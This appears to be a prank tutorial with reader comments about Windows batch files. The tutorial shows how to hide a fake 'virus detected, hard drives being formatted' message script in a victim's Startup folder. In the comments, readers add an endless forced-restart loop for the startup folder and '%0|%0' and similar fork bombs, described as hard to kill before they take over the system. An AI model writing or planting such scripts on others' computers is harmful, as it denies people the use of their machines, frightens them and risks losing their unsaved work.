Ok first we will start with the easy one, the fake warning message.
This is how to do it:
1.Open note pad
2.Type this in
@echo off
msg * Warning your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........
msg * APRIL FOOLS

3.Save the file as April-fools.BAT
4.Right click on the file and press hidden
5.Go to folder options and click show hidden files
6.Cut the file and place it in the victims Start up folder in the start menu
7.Go back to folder options and click do not show hidden files.

Now what each of the lines you typed in done:
@echo off << this runs the commands in the background so the victim will not see any codes
msg * <<this commands the computer to show a message
msg * hahahah <<this is what the message will display

The results
when the victim starts up there computer the first message will appear, when they click OK the next one will appear and make the victim think there hard drive is being formatted until they get the last message saying APRIL FOOLS.

Now your code should look like the image below:

This is awesome! a quick question though, can you make this for more updated windows computers, like 8.1?

eacochran5 months ago

When i click on the 'finished' shortcut, it logs off instantly even though i put a 60 second timer on it. i typed:

shutdown -l -f -t 60 -c "message" (I did include the quotes if im not supposed to, then that's probably my issue)

help? :P

somehow it could not read my batch file
MH9 li7895 months ago

Did you change the .txt to "all files" @ the bottom? If not, do that, then it'll work

Jimmy 12 years ago
I only have the option of saving the code in Notepad as a txt file!

Just name it ending with ".bat" (w/out the quotes) and it'll be OK :)

MH9 smladenoff5 months ago

Change the .txt to "all files" @ the bottom

set the name as anything.bat the name has to end with .bat
MH95 months ago

To Jimmy 1:
you must change the .Txt file @ the bottom to "All Files". then it will be able to change to a .bat file

How do I paste it into the Start Menu?

samgooman2 years ago
You dont have to start the PC all you need to do is press Ctrl+Alt+Delt start task manager and end program simple worked for me!!
It replicates itself if you delete on it starts again.

You put :START instead of START:
kysinden2 years ago
i just use a small .bat place in the start-up folder

{
:a
shutdown -r -f
goto a
}

The goto is purely because on some computers i have tested on it ignored the first 6 or so commands to go though.
It also restarts the shutdown process if they decide to try and stop it

I'd recommend this much smaller and faster fork bomb:
%0|%0

It will essentially do the same thing, only it will duplicate so rapidly, it is very difficult to kill the process before it takes over the entire system.
They just keep getting smaller and smaller. And I thought my one liner was short (@for /l %%i in (1) do @start). I do like your style though.
kool1zero2 years ago
Make your batch script start a shutdown and use the task scheduler to have a matching "shutdown -a" (which aborts) so you just freak them out and don't mess with their stuff. This also makes a nice option to have super long shutdown lengths (like your computer will shutdown in one hour! Just so they can massively fail at stopping it lol)
